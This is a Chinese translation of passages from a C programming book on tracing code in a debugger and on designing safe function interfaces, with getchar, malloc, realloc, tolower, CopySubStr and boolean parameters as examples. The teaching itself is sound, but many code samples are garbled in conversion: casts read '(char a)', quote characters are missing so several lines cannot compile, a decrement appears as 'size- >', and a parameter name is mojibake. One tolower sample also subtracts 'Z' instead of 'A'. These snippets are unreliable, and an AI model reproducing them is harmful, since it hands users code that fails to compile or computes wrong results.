这程序看起来正确，但是有个潜伏的问题。在我写好这程序后，我把它在一个现成的程序中使用。没碰到任何问题－这程序运作得好好的。但为了确定这子程序真的动作了，我在子程序中设了断点，然后重新执行那个程序。当除错程序把控制权交给我时，我看了一下函式参数：*pv指针看起来是合法的，size大小参数也对，而要填入的字节b是0. 我讨厌用0测试程序代码，因为这样子不好找出不同类型的错误，所以我立刻将参数b改成了一个奇怪的值，0x4E。

我这次的追踪状态是size小于sizeThreshold的情形，这路线执行得好好的。接下来我让size大于或等于sizeThreshold. 我不预期会碰到什么问题，可是当我追踪到这一行时，

l = (b<<24) | (b<<16) | (b<<8) | b;

我看到 | 被设成了0x00004E4E，而不是我要的0x4E4E4E4E. 在查看这段程序的汇编语言列表后，我找到了问题所在－这解释了为何出现了这样的错误，程序还是动作得好好的。

如你所见，我用的编译器的整数宽度是16位的，如果你用16位宽度的整数进行如b<<24的运算，会得到什么结果？你会得到0. 那b<<16呢？也是出现0. 这子程序的逻辑没什么不对的，但是实作上有缺陷。这子程序在那个现成的程序中没出错，只是因为那程序使用memset将内存填成0，而0<<24还是0，所以得到的结果没出错－虽然过程错了。

我能立刻逮到这个错误，因为我花了额外的时间来追踪这个程序代码的执行，而不是写好它就丢着它不管了。是的，这问题足够严重到最后总有人会注意到他，不过记住我们的目标是尽可能愈早抓出错误来。追踪程序执行有助于达到这个目标。

追踪程序执行的真正威力在于你可以看到资料在你的函式中流通。只要你注意着资料流的去向，你想你能逮到底下多少种错误呢？

? 溢位跟借位错误

? 资料转换错误

? 错字

? NULL指针错误

? 使用不正确内存的错误

? 把 == 打成 = 的指派错误

? 运算子顺序错误

? 逻辑错误

你会抓不到这些错误吗？经由注意资料流的去向，你可以从另一个不一样角度来看待你的程序。你也许不会注意到程序中的这个指派错误：

if (ch = t')

ExpandTab();

可是当你循着资料流追踪到这里时，你可以轻易看到ch被乱改了。

追踪程序执行时，注意资料流的去向。

你错过了什么？

使用原始码除错器的一个问题是逐行追踪原始码可能会跳过很重要的东西。假设在底下的程序中，我们把&&错打成了&：

/* 如果符号存在，而且有个文字名称，

* 就释放那名称占用的内存。

*/

if (psym != NULL & psym->strName != NULL)

{

FreeMemory(psym->strName);

psym->strName = NULL;

}

程序代码合乎语法，可是写错了。那个if叙述的用途是防止psym的内容为NULL指针时被用来指向一个symbol结构的strName字段，但这程序完全没作到这点。它永远会拿psym指向一个symbol结构的strName字段，不管psym是不是NULL.

如果你用原始码除错器来追踪程序，并在追踪到if叙述时按下逐行追踪键，除错器将会把整个if的条件测试当成一个完整的动作来看待。可是要找到问题核心的话，你得注意到条件式的右边即使左边结果是FALSE也会被执行到。（如果你够幸运，你的计算机会在你使用NULL指针时当掉，不过许多桌上型计算机都不会，至少现在还不会。）

译按：

现在的情况好多啰，不管是Mac OS或Windows 3.1/95/98/NT，使用NULL指针进行内存存取会立刻造成内存保护例外的触发的。注意到原作者写这本书时，大部分桌上型计算机的程序员都还在用不支持内存保护的操作系统跟十六位的程序编译器。事实上，今天的三十二位编译器已经不存在如前述的b<<24的溢位问题了，理由很简单，整数资料型态的预设宽度已经变成三十二位了。不过如果读者试着以短整数或字符进行类似的位位移运算，或者进行超出三十二位位移运算，结果还是会变成00的。

记住我稍早说过的：&& ， || 跟 ?: 运算子都有两条执行路线，要抓错误，你得两边都追踪一遍。使用原始码除错器的问题在于逐行追踪容易一次跳过这些运算子的两个执行路线。有两种办法可以克服这个问题。

首先，你要追踪有着&&跟||运算子的复合叙述时，检查一下要被执行过去的那个叙述写得对不对。接下来，用除错器的计算评估功能检查一下表达式每一边的结果是不是你要的。这样可以帮你找到整个计算式评估结果正确而过程不对的情形。像是，如果你认为一个||表达式左边的结果是TRUE而右边是FALSE，却出现相反的结果，那这表达式一定算错了，虽然结果是对的。检查一下表达式的各个部分，将能让你警觉这类问题的存在。

另一个更彻底的做法是将复合叙述跟?:运算子列成汇编语言来看。是的，这会花更多功夫，但是对于关键的程序代码来说，真正追踪过一遍来看看程序跑得对不对，是重要的。当你在C语言的程序开发环境中追踪程序时，只要你习惯了这么作，将程序摊开成汇编语言来追踪是很快的；多练习几次就会了。

原始码除错器可能隐藏执行细节。

将关键的程序代码摊开成汇编语言来追踪吧。

试试看－你会喜欢它

我希望我有办法说服程序员们去追踪自己的程序，或至少让他们试着追踪一个月看看。不过我发现程序员们通常都没办法丢弃追踪程序要花很多时间的观念。这时作为一名项目领导者的好处之一就派得上用处了；你可以专制一点，坚持参予项目的程序员们都要追踪他们写的程序，直到他们真的了解这么作不但不花时间，而且值得为止。

如果你还没追踪过自己的程序，你会开始这么作吗？只有你自己知道会不会。不过我想当你拿起这本书开始看是因为你对于减少程序中的错误非常在意，不管这些程序是你自己写的，或是你带的程序员们写的。最后你真的得面对这样的抉择：要花少部分时间追踪程序的执行来确定程序执行无误呢，还是你希望让臭虫跑进原始码正本中，再来冀望测试人员能抓到这些虫，然后你才来修正这些错误呢？如何选择完全都看你自己。

快速回顾

? 臭虫不会自己从程序中长出来；它们是从程序员新写的程序或改过的老程序中冒出来的。如果你要在程序中找寻错误，除了逐步追踪编译好了的程序代码的每一行，没有更好的方法。

? 虽然你的直觉反应会认为追踪程序代码很花时间，你的直觉可能是错的。是的，一开始会花更多时间－一旦你习惯了，就不会了。当你习惯之后，你追踪程序代码的速度可快了。
?

? 小心追踪每一条程序执行路线－特别错误处理程序里头的东西－至少一次。不要忘了&&， || 跟 ?: 运算子都有两条执行路线要测试。
?

? 在某些状况中，你得把程序摊开成汇编语言来追踪。虽然你往往不用这么作，但是该作的时候就要作。

学习计划：

如果你回顾一下 第一章 <C:Documents and SettingsAdministrator.KINGRON桌面\u23436完美模式设计指南default.asp?isbn=957-8239-22-X_201> 中的内容，那边谈的是编译器能帮你自动抓到的常见错误。复习一下那些内容，再回头问问你自己，追踪程序执行时会不会漏掉那些错误。

学习计划：

看一下过去六个月里，你程序中已知的那些臭虫。如果你当初写程序时就有追踪过你的程序代码，你可以抓到里头几只？


动贩卖机接口

动贩卖机接口

微软公司提供给员工的一大福利就是免费的汽水、加味矿泉水、牛奶（也有巧克力调味乳！）跟小纸盒装的果汁，多少都没关系，随你取用。可是很该死的，如果你要甜点，就得自己付钱了。偶尔我想吃点零食，就得走到贩卖机前面去。投入硬币后，我按下4跟5，然后讨厌的看着机器吐出墨西哥辣椒口味的口香糖，而不是我要的老祖母牌花生奶油饼干。在看了一下饼干的代号后，我知道我又弄错了：我要的饼干是该按21号，投45先令的硬币。

那台自动贩卖机总是让我生气，如果制造它的工程师肯多花半分钟来想想他们设计上的缺失，就不会让我跟其它人花钱却按到自己不想要的东西了。如果有个设计者想，"嗯，人们应该会在投钱的时候想着‘45先令’－我赌一定有人会跟着也在把价钱当成选择东西时的代号而弄错想要的东西。要避免这种事情发生，我们应该用字母键代替数字键来选择点心的种类。"

改良过的机器制造起来不会花更多钱，也不会改变什么设计方式，可是如果机器是如我上头说的改良过的，当我想按下45时，我就会知道那不是我想按的，而会记得要去按字母键来选择我要的点心。这样的接口设计可以让人们不会弄错。

当你设计函式的接口时，你一定经历过类似的问题。不幸的，程序员们不常被训练成思考其它人会怎样使用他们写的函式，而且就像那不自动贩卖机一样，设计上的一点些微差异都可能制造出错误或者避免错误的发生。你写的函式没有错误还不够；你写出来的东西使用起来还要是安全的才行。

getchar当然会传回整数值

许多标准C语言链接库函式跟数以千计用到这些链接库函式的其它函式，都跟我提到的贩卖机一样有着令人喷饭的设计方式。就拿getchar函式来说，它的接口设计就有好几个危险之处，而最严重的问题在于这样的设计容易让程序员们写出有问题的程序代码来。看看Brian Kernighan跟Dennis Richie在The C Programming Language一书中提到的：

考虑这段程序代码

char c;

c = getchar();

if (c == EOF)

...

在一部没有正负号扩展功能的机器上，c一定是正的，因为它是个字符变量，而EOF是个负数。所以，这个测试的结果一定会不成立。要避免这种情形，我们得小心地使用整数变量来存放getchar传回来的结果，而不是用字符变量。

像getchar这样的名称当然会让人想把c定义成一个字符，而这就是为何程序写作者会在这里出错的原因。不过实际上，为何getchar会如此危险？它又没有什么大功能：只不过是试着从一个周边装置取得一个字符，并传回一个可能的错误状态而已。

底下的程序代码片段说明了另一个许多函式接口中常见的错误：

/*

strdup - 配置一块内存，并将

输入的字符串复制到新配置的内存中。

*/

char *strdup(char *str)

{

char *strNew;

strNew = (char a)malloc(strlen(str)+1);

strcpy(strNew, str);

return (strNew);

}

这段程序代码会运作得很正常，直到你用光了内存，碰到了malloc传回来配置内存失败，传回来一个NULL指针的错误情形。谁晓得在strNew是个NULL指针时，strcpy会作出什么事来？也许是把程序当掉，或把内存填上垃圾，反正都不是写程序的人想要的结果。

程序员们在使用malloc跟getchar时会碰到问题，因为他们写的程序即使有缺陷，在大部分情形下也会正常运作着。只有在几星期或几个月后，就像铁达尼号的意外一样，一连串不可能发生的事情凑在一起酿成了灾难，程序才会非预期的当死。并不是说malloc跟getchar让程序员们写错了程序代码；只是程序员们忽略了这两个函式可能产生的错误状态。

getchar跟malloc的问题在于它们传回来的值不完全是真正的结果。有时它们传回来你期望的有效资料，其它时候它们则传回来神奇的错误值。

如果getchar不会传回那个好笑的EOF值，那把c宣告成字符变量就没什么错误，也不会出现Kernighan跟Ritchie说的那个问题了。同理，如果malloc不会传回NULL，程序员就不用处理错误状态了。这些函式的问题并不在于它们会有错误状态，而在于它们把这些错误状态的反应经由传回一般结果的管道送出，让程序员容易因此忽略了错误情况的处理。

如果你重新设计getchar来让他同时传回两种输出结果，那会怎样呢？它会传回TRUE或FALSE让你判断是否正确读到了资料，而如果读到了数据，会把读到的字符放在一个经由指针参考到的字符变量内：

flag fGetChar(char *pch); /* 函式的雏形宣告 */

使用上面这样的接口宣告，程序很自然就会被写成这样：

char ch;

if (fGetChar(&ch))

ch存放着下一个字符；

else

碰到了档案结尾，ch放着是垃圾内容；

字符型态跟整数型态差异的问题消失了，而且对任何资历的程序员来说，都不会忘了检查是不是有错误发生。比较getchar跟fGetChar传回的值，你看到了getchar比较强调传回来的字符，而fGetchar比较强调传回来的错误状态了吗？如果你想写出零错误程序，你觉得该强调哪一种传回值的方式？

对，你失去了把程序写成底下这样的弹性

putchar(getchar());

可是你能多么确定getchar一定会正确读到字符？在几乎任何情形下，上头的程序代码都可能造成错误。

有些程序员可能会想，"当然，fGetChar有个比较安全的接口，可是你为了在呼叫它时传入额外的参数而浪费了些程序代码。如果程序员把ch当成了&ch送进去给它呢？毕竟，忘了写&是程序员在写用scanf函式时的老毛病了。"

好问题。

编译器产生的执行码好不好完全看编译器的最佳化程度而定，不过大部分的编译器都会在呼叫上头的函式时产生多一点执行码。不过这么微小的程序大小增长并不值得忧虑，尤其当你考量磁盘空间与内存成本正快速下滑，而程序复杂性与随之而来的错误发生率正逐渐攀升时，这样的差距在未来只会拉得更大。

第二个重点－拿个字符变量当成fGetChar的字符指针参数用的情形－如果你在使用第一章中建议的函式雏形检查的话，就不用担心了。如果你把字符指针以外的东西传给fGetChar，编译器就会自动产生错误讯息，并告诉你哪边出错了。

把不同输出结果混在单一个返回值中送出的做法反映了汇编语言时代中一部微处理器只有有限缓存器能用来处理资料跟传递资料的现实限制。在那样的环境中，一个缓存器能同时传回两个输出结果不只是有效率而已，还经常是必要的。可是用C语言写程序就不同了－即使C语言让你"更接近低阶环境"，那并不表示你应该把程序当成高阶的汇编语言来写。

当你设计函式接口时，选择能让程序员把程序一次就写对的方式。不要用让人伤脑筋的双重用途返回值的设计－每个输出结果都应该只用来表达一种东西。设计接口时就明确限定各个输出结果的用法可以让使用者不会忽略掉重要的细节。

让错误状态难以忽略。

不要将错误代码跟别的输出结果一起放在返回值中。

考虑多一点

程序员们当然知道他们哪时会从一个返回值中获得多个输出结果，所以照着上面的建议作挺容易的－不要这么把一堆东西塞在一个返回值里头就好了。不然这样的使用接口就像特洛伊木马一样隐藏着危险。看看底下这个改变内存块大小的程序代码：

pbBuf = (byte *)realloc(pbBuf，sizeNew);

if (pbBuf != NULL)

初始化或使用更大的缓冲区

你看出哪里有问题了吗？如果你不晓得，不用担心－问题严重，但被隐藏起来了，如果没有提示，只有很少人找得出这个问题。所以，来个提示吧：如果pbBuf是唯一指向这块改变大小的内存的指针，那在realloc失败时会发生什么事？答案是NULL将会在realloc返回时盖过pbBuf本来的值，毁掉指向本来内存块的唯一指针。这段程序代码制造了遗失的内存块。

这就有个问题了：

你多常把要更动大小的内存块的新旧指针放在不同变量中？我会把这个问题想象成开一辆车进饭店中，而开另一辆车出来。当然，你会有想将新指针放到不同变量中的时候，但一般说来，如果你改变一块内存的大小，你会把变更过的结果放回本来的指针变量中。这就是为何程序员们常掉进realloc的陷阱中了，realloc就像微软里头那个自动贩卖机的接口一样容易让人出错。

理想上，realloc永远会将错误码跟指向内存块的指针一起传回来，无论内存块的大小有没被改变。那应该是两个不同的输出结果。让我们再看一下fResizeMemory，那个我在第三章中提到的realloc包装函式。底下是拿掉了除错码的fResizeMemory的样子：

flag fResizeMemory(void **ppv, size_t sizeNew)

{

byte **ppb = (byte * )ppv;

byte *pbNew;

pbNew = (byte a)realloc(*ppb, sizeNew);

if (pbNew != NULL)

*ppb = pbNew;

return (pbNew != NULL);

}

注意一下上头那个if叙述－他确保本来的指针永远不会被销毁。如果你从头用fResizeMemory替代realloc来重写本节开头那段程序，你会写成

if (fResizeMemory(&pbBuf，sizeNew))

初始化或使用更大的缓冲区

在这里，如果改变内存块大小的动作失败了，pbBuf会保留原样，继续指向本来的内存块；pbBuf不会被改成NULL。这就是你想要的行为，不过又有个问题："一名程序员如果使用fResizeMemory，会不会遗失内存块？"还有另一个问题："程序员会不会忘了处理fResizeMemory的错误状况？"

另一个要提出来的有趣问题是，如果程序员们习于照着本章稍早的建议－"不要把错误码放在返回值中"－就不会设计出像realloc这样的东西来了。他们最先构想出来的程序会像fResizeMemory的那样－而不会有realloc遗失内存的问题。本书中的建议各有相关，以你所意想不到的方式交互作用着，刚提到的不过是其中一个例子而已。

不过将你的输出结果分开来并不能永远保证你的设计接口不会出现陷阱。我希望我能提供更好的意见，不过唯一能捉出那些隐藏现影的办法就是停下来，好好思考你的设计方式。最好的做法就是检查每个可能有的合并式输出入参数，并考虑这么做会有哪些可能造成问题的副作用。我知道这有时令人讨厌，不过记住，多花掉的思考时间对日后所需的除错时间而言，可以说是相对廉价的。最糟糕的做法就是跳过这个步骤，让不知其数的程序员们追踪找寻并修正一堆由这个很糟糕的接口所带来的问题。

想象全世界的程序员们已经浪费了多少时间在追踪寻找由getchar，malloc跟realloc的陷阱所造成的问题－比较起来，利用这三者之中一个写出来的包装函式所需花的时间就显得微不足道了。前人们浪费在找寻不必要的错误上的时间难道不足以让你清醒过来吗？

永远找寻并消除接口中的缺失。

单功能内存管理器

虽然我在 第三章 <C:Documents and SettingsAdministrator.KINGRON桌面\u23436完美模式设计指南default.asp?isbn=957-8239-22-X_203> 中花了许多时间讨论realloc函式的问题，我并没有提到它更奇怪的许多地方。如果你找出你的C语言链接库参考手册，找到realloc的完整叙述，你会发现像下面的文字：

void *realloc(void *pv，size_t size);

realloc改变先前配置出来的一块内存的大小，内存块的内容保持不变。

?

? 如果新内存块比本来的小，realloc会释放内存块尾端不要了的内存，而pv值维持不变。

? 如果新内存块比本来的大，扩大了的内存块可能会被放在新地址，并将本来的内容复制过去。一个指向扩大后的内存块的指针值会传回来，而内存块新增部分的内容未经初始化。

? 如果你试图扩大内存块而realloc失败了，会传回一个NULL指针。realloc在缩小内存块时一定会成功。

? 如果pv值是NULL，realloc会呼叫malloc(size)，并传回新配置内存地址的指针，或者如果这个要求也失败了，就传回NULL指针。

? 如果新的大小是0，而pv不是NULL，realloc就会如同呼叫了free(pv)般把内存释放掉，而会传回NULL。

? 如果pv值是NULL而新的内存块大小是0，结果是未定义的。

哦！realloc是个标准通杀型实作的范例－整个内存管理器的功能全塞在一个函式之中。那你还要malloc作什么？你还要free作什么？realloc不是把它们的功能全通吃了吗？

你不应该把一个函式设计成这样子，有几个好理由。首先，你不能期望程序员安全的使用这个函式。这样的函式有许多细节连经验老到的程序员都不完全知晓。如果你怀疑这点，尽可以问看看有多少程序员知道把一个NULL指针传给realloc可以有malloc的效果，看看有多少人知道把0放入size参数中呼叫realloc会有如同呼叫free的效果。是的，这些都是相当神秘的行为，所以他们应该都知道怎样避免这些东西制造问题出来。再问问看，当他们使用realloc来扩大一块内存时，他们晓不晓得realloc可能会把内存块的地址搬动？

这里还有realloc的另一个问题：你可以把垃圾丢给realloc，可是由于它的定义是如此一般化，它根本很难检查参数到底对不对。如果你错传了一个NULL进去，那对realloc而言是合法的参数。如果你把0当成了size传进去，那对realloc也是合格的用法。如果你在要变更一块内存的大小时却不小心配置了一块新的内存，或是把本来的内存释放掉了，那真的太糟糕了。如果实作上每个用法都是对的，你要怎么检查realloc的参数有没有效？不管你丢什么参数给它，realloc都能处理，即使是很极端的参数值。它一方面可以free掉内存块，另一方面又能配置内存块出来。这些是完全相反的行为，不是吗？

老实说，程序员们不常坐下来想想，"我就是想把整个子系统都写在一个函式中。"realloc跟其它类似的函式出现的理由很简单，如果它们不是被慢慢写成多功能的函式，就是程序员们把一些本来实作外的功能加了进去，改写正式的函式功能叙述来容纳这些"侥幸"行为。

不管什么理由，如果你写了个多功能函式，把它打散开来。把realloc拆开来，就成为扩大内存块，缩小内存块，配置内存块跟释放内存块。藉由将realloc拆成四个分开的函式，你可以做出更好的错误检查。如果你想缩小内存块，你知道怎样的指针才是合格的参数，而且新的大小一定要小于（或等于）本来的大小，其它的情形都是错误状态。有了分开的ShrinkMemory函式后，你就可以用除错检查宏来核对呼叫参数了。

在某些状况中，你可能真的会想有个多功能的函式。举例来说，当你呼叫realloc时，你能经常确切掌握新内存块的大小吗？这全看程序而定，不过我经常不晓得一块内存可能会变多大（虽然我还是找得出信息来掌握这一点）。我发现有个同时能够缩小跟扩大内存块的函式会比较好些，这样我就不用在每次我需要改变内存块大小时写个if叙述了。是的，我放弃了一些额外的参数检查，不过好处是我不用在多写那些if了。我永远知道我要配置内存或释放内存，所以我把这些功能从realloc拿掉了，把它们放在不同的函式中。第三章中的fNewMemory，FreeMemory跟fResizeMemory就是三个定义完善的函式。

如果我在开发一个正常状态下我都晓得我该扩大或缩小一块内存的程序，我还是会把扩大跟缩小内存块的功能从realloc中分离出来，并创造两个额外的函式:

flag fGrowMemory(void **ppv, size_t sizeLarger);

void ShrinkMemory(void *pv, size_t sizeSmaller);

这个分离工作让我不只能够彻底检查指针跟大小参数，还能以较低的风险呼叫ShrinkMemory函式，因为这样可以保证内存块一定会被缩小而不会被搬移到新的地址去。我不用再写成底下这样

ASSERT(sizeNew <= sizeofBlock(pb)); /* 核对pb跟sizeNew */

(void)realloc(pb，sizeNew); /* 缩小内存不会失败 */

我可以写成这样

ShrinkMemory(pb，sizeNew);

这样子就好了。使用ShrinkMemory而不用realloc的简单理由是，这样子程序更简洁了。用ShrinkMemory，你不需要解释它不会失败的注释，也不需要把无用的返回值再转换型态成void，也不用在检查pb跟sizeNew的值合不合格－ShrinkMemory把这些工作全完成了。

不要写出多功能的函式。

把不同功能分开来写可以加强参数核对的检查。

定义不明确的输入

稍早我提过，你的输出结果应该分开来放，避免让使用函式的程序员造成困扰。如果你把同样的建议用在设计函式的输入参数上，你自然就不会写出像realloc这样多功能的函式。realloc用了个指向内存块的参数，可是这参数有时可以是NULL，让realloc模仿malloc的行为。realloc也有个大小参数，可是这参数可以为0，这时realloc会模仿free的行为。这样奇怪的参数也许不够有杀伤力，可是毁了合理性。脑筋急转弯一下，底下的程序会改变内存块大小，配置内存块，还是释放内存块？

pbNew = realloc(pb, size);

你分不出来；可能是上述动作的任何一个－完全取决于pb跟size的内容而定。可是如果你晓得pb一定指向合格的内存块而size一定得是个合格的内存块大小，那你就可以立刻知道这一小段程序会改变内存块的大小。就像明确的输出结果会让错误检查更容易些，明确的输入参数也是如此。这样的明确性对于得阅读跟理解不是自己写的程序代码的维护程序员来说，真是无价之宝啊。

有时多用途的输入参数并不像realloc的那样容易找出来。举例来说，看看底下这个将前面size个字符从strForm复制成一个存放在strTo中的字符串的特制字符串复制子程序：

char *CopySubStr(char *strTo, char *strFrom, size_t size)

{

char *strStart = strTo;

while (size- > 0)

*strTo++ = *strFrom++;

*strTo = 0';

return (strStart);

}

CopySubStr类似标准的strncpy函式，可是它保证strTo中的是个真正以零字符结尾的C语言字符串。一般你会用CopySubStr来把一个大字符串的一部份取出来－像是从一个装有一星期中每个日子名称的字符串里取出某一天的名称出来：

static char strDayNames[] = unMonTueWedThuFriSat";

.

.

.

ASSERT(day >= 0 && day <= 6);

CopySubStr(strDay, strDayNames + daya3, 3);

现在你晓得CopySubStr怎么用了，可是你看到那个有问题的输入方式了吗？如果你写除错维护检查来查核这些参数，你就容易找出问题何在。对strTo跟strFrom的检查会写成

ASSERT(strTo != NULL && strFrom != NULL);

可是你怎么检查size参数？0是合格的吗？如果size比strFrom的长度大呢？如果你检查程序代码，你会看到它同时处理两种状态。while循环在size一开始就是0时会脱离，所以0是合格的参数；如果size比strFrom的长度大，while循环会将整个字符串都复制，包括结尾的零字符串。你只需要帮这函式写个注释说明一下，如后头的例子。

/* CopySubStr - 从字符串中取出子字符串。

* 将strFrom字符串前面size个字符存成放在strTo的另一个字符串。

* 如果strFrom的长度小于size，就会将整个字符串复制到strTo.

* 如果size为0，strTo会变成空字符串。

*/

char *CopySubStr(char *strTo, char *strFrom, size_t size)

{

.

.

.

这样子的说明眼熟吗？当然，因为这个函式的做法就跟灯泡上的灰尘一样常见。这样子仍然是处理size输入的最好方式吗？不尽然，至少在写作零错误程序时并不是这样子。

假设，举例来说，一名程序员在她呼叫CopySubStr时把3打成了33：

CopySubStr(strDay，strDayNames + day*3，33);

这真的是个错误，可是依照CopySubStr的定义而言，这样荒谬的值是完全合法的。喔，当然你大概会在发行程序前就抓出这个错误，不过你不会自动发现它；得要有人把它找出来。不要忘了，用一个在错误出现点附近的除错维护码找寻错误的原因要比从一个错误的输出来查看要快多了。

从零错误的观点来看，如果一个参数超出范围或无意义，就应该是非法的，因为默许使用这样奇怪的参数会隐藏错误，而非找出错误。一方面说来，允许松散的输入过关就是另一种防御性程序写作的做法。你可以为了程序的稳定留着这些防御性的程序代码，可是不要让这样有问题的输入参数过关：

/* CopySubStr - 从字符串中取出子字符串。

* 将strFrom字符串前面size个字符存成放在strTo的另一个字符串。

* 如果strFrom的长度小于size，就会将整个字符串复制到strTo.

* 如果size为0，strTo会变成空字符串。

*/

char *CopySubStr(char *strTo, char *strFrom, size_t size)

{

char *strStart = strTo;

ASSERT(strTo != NULL && strFrom != NULL);

ASSERT(size <= strlen(strFrom));

while (size- > 0)

*strTo++ = *strFrom++;

*strTo = 0';

return (strStart);

}

有时允许无意义的参数－如长度为0－是值得的，因为这让我们消除了呼叫端不必要的测试。举例来说，由于memset允许size参数为0，所以在下面的程序片段中我们不需要那个if叙述：

if (strlen(str) != 0) /* 将str填成空格 */

memset(str，' '，strlen(str));

不过在你允许长度为0的时候，要小心。程序员们经常处理长度（或计数值为0）的情形，因为他们可以这么做，而不是因为他们应该这样做。如果你写了个需要长度参数的函式，你并不需要处理长度为0的状况。问问你自己，"程序员们多常以长度0为参数来呼叫这个子程序？"如果答案是永远不会，或者很少，就不要处理0的状况；改用除错检查来找出这些状态。记住，每当你放松一项限制，你就减少了一个捉住相关错误的机会。一开始就选择严格的输入定义来达到最大的除错检查效率是个好规矩。如果你稍后发现这样的限制太严苛，你可以拿掉这样的限制而不会影响到程序的其它部分。

我在第三章中把NULL指针的检查加到FreeMemory中时，便使用了这样的想法。由于我永远不会以NULL指针呼叫FreeMemory，对我来说，有这样强化的检查就更重要了。你的观点也许不同－这没什么对错之别。只要确定你所作的是个清醒的选择而不只是因为你习惯如此，就好了。

不要优柔寡断。

把函式参数明确定义好。

现在不要让我失望

微软公司有条在面试时询问求职者技术问题的政策，对程序员来说，那就是问些程序设计的问题。我习惯从写出标准的tolower函式问起。我会把一份ASCII字符表拿给我所面试的人，问说，"你该怎样写出一个会将大写字符转换成小写字符的函式？"我会谨慎的模糊处理符号跟小写字符的区别，主要是想看看程序员们会怎么处理这些情形。这些字符会保持不动吗？程序中怎样检查错误？符号跟小写字符会被忽略掉吗？超过一半的人会写出像这样的东西：

char tolower(char ch)

{

return (ch + 'a' - 'A');

}

这程序代码在ch是个大写字符时有效，可是如果ch是别的东西，它就毁了。当我告诉我所面谈的人这一点时，他们有时会说，"我假设这字符一定是大写的。如果这字符不是大写的，我会原封不动的把它传回来。"这是个合理的做法；其它做法也差不多。少部分人会说，"我没想到那点。我可以修改一下，在ch不是大写时，传回一个错误。"有时他们会让tolower传回NULL，或是零字符，不过清楚的胜选应该是-1：

char tolower(char ch)

{

if (ch >= 'A' && ch <= 'Z')

return (ch + 'a' - 'Z');

else

return (-1);

}

传回-1违反我稍早所建议的接口规范，因为它把错误值跟正常资料混在一起了。可是问题并不在于我所面谈的人没有做到一项他们可能没听过的建议，而在于他们犯下了一个不必要的错误。

这带来了另一种看法：如果函式本身传回错误状态，每个呼叫那函式的程序都得处理那个错误。如果tolower会传回-1，就不能把程序写成底下这么简单了：

ch = tolower(ch);

你得写成像这样子：

int chNew; /* 这必须是个int整数型态，才装得下-1。 */

if ((chNew = tolower(ch)) != -1)

ch = chNew;

如果你想到你得怎么呼叫tolower，你会觉得会传回一个错误状态并不是定义这函式的最好方法。

如果你发现自己设计了一个会传回错误状态的函式，停下来问问你自己，是否有别的方式可以重新设计出不需要错误状态的函式。比起只把tolower定义成一个"把大写字母转成小写字母再传回来"的函式，"让它在不能转换时传回原来的字符"会是个更好的设计方式。

如果你发现没办法拿掉传回错误状态的设计，考虑不要让产生错的状况出现。举例来说，你可以要求tolower的参数一定要是大写的字母，并说其它字符都是不合格的。你可以使用除错检查来核对这个参数：

char tolower(char ch)

{

ASSERT(ch >= ' && ch <= ');

return (ch + ' - ');

}

不管你重新定义函式，或是不让引起错误的情况出现，你解决了呼叫者必须进行执行期错误检查的问题，让程序代码更小而问题更少了些。

写函式时要让输入合格而不会出错。

跨行读取

我再三强调，从呼叫者的观点检查函式接口是很重要的一件事情。当你晓得一个定义出来的函式会从许多地方被呼叫时，不去检查它是怎么被使用的就显得很愚蠢了。getchar，realloc跟tolower的例子已经让我们了解到这一点－这些都是用起来很复杂的东西。不过混淆输出跟传回不需要的错误码并不是唯一让程序变得更复杂的方法。有时只需要在函式的输入上轻忽一下，就会让程序变得更复杂。

假设你想改善程序的磁盘存取部分，你碰到一个档案存取指针移动的呼叫是写成这样的：

if (fseek(fpDocument, offset, 1) == 0)

.

.

.

你晓得有个档案指针移动的动作出现了，你也看得出来错误是怎么处理的，可是这个呼叫的可读性怎样？哪一种档案指针移动在进行着－从档案头，档案指针现在的位置，还是从档案尾？如果传回来的值是0，那表示成功还是失败？

假设程序员把这呼叫以预先定义的名称呼叫：

#include <stdio.h> /* 引入SEEK_CUR的定义 */

#define ERR_NONE 0

.

.

.

if (fseek(fpDocument, offset, SEEK_CUR) == ERR_NONE)

.

.

.

这样会清楚些吗？当然。不过这一点也不令人惊奇－程序员们数十年前就已经了解要避免在程序中使用奇怪的数字。我要指出的是，NULL，TRUE跟FALSE并不是为了这种理由而存在的。它们常用，可是并不是用来当成神奇数字的文字替代式。举例来说，这底下的呼叫各作了什么？

UnsignedToStr(u, str, TRUE);

UnsignedToStr(u, str, FALSE);

你大概能猜出这些呼叫会把无号数转换成字符串，可是那个布尔型态的参数怎么影响整个转换？如果我把呼叫写得成这样，会不会更清楚些？

#define BASE10 1

#define BASE16 0

.

.

.

UnsignedToStr(u, str, BASE10);

UnsignedToStr(u, str, BASE16);

当一名程序员坐下来写这样的函式时，这些布尔（boolean）型态值的用法也许十分清楚。首先程序原先丢出一段叙述说明，然后再开始写程序：

/* UnsignedToStr

* 这个函式会将一个无号数转换成字符串。

* 如果fDecimal为TRUE，u就会被转换成十进制数字字符串；

* 不然会被转换成十六进制数字字符串。

*/

void UnsignedToStr(unsigned u, char犘trResult, flag fDecimal)

{

.

.

.

有比这样子更清楚的做法吗?

现实是布尔型态的参数往往表示程序员们没深思他们在作什么。函式本身作的或者是两件不同的工作，由布尔型态的参数决定要作哪一件，或者函式本身虽具弹性，程序员决定只用布尔型态的参数来选择两个他或她觉得有用到的状况；往往这两种情形都成立。

如果你把UnsignedToStr当成一个处理两件不同工作的函式，你可能会拿掉那个布尔型态的参数，而把UnsignedToStr拆成两个不同的函式：

void UnsignedToDecStr(unsigned u, char *str);

void UnsignedToHexStr(unsigned u, char *str);

不过有个更好的解决方案－把那个布尔参数改变一下型态，会让UnsignedToStr变成更有弹性的泛用函式。不要用TRUE或FALSE来决定输出结果的基底，而让使用函式的程序员决定要转换成哪个基底的结果：

void UnsignedToStr(unsigned u, char *str, unsigned base);

这个做法给了你一个清楚、弹性的设计，让呼叫这函式的程序代码具可读性，而同时又增加函式的功能性。

这意见也许跟我稍早提到的严格定义参数的建议相冲突－我们把本来固定的TRUE或FALSE输入，变成了一个大部分可能值都不太常用到的一般性输入。不过记住，虽然基底参数很有弹性，你永远可以加上一个除错检查来确认它的值是10或16。如果你之后决定你也需要二进制或八进制的转换，你可以把除错检查放宽，让程序员能够传入2或8的基底参数。

这远比我看过的一些有着TRUE，FALSE，2跟-1参数的函式要好太多了！因为布尔参数不容易扩充，你可能得用这样无意义的做法，或是改变每个已经存在的呼叫叙述。

让程序在呼叫时可被理解。

避免使用布尔型态的参数。

标明危险性

作为对抗错误的最后一道防线，在你的文件中强调危险之处，并说明你希望人们怎样使用你的程序代码。不要这样说明getchar,

/* getchar - 这跟getc(stdin)的作用一样。 */

int getchar(void)

.

.

.

那帮不了程序员们什么忙，你应该写成像这样：

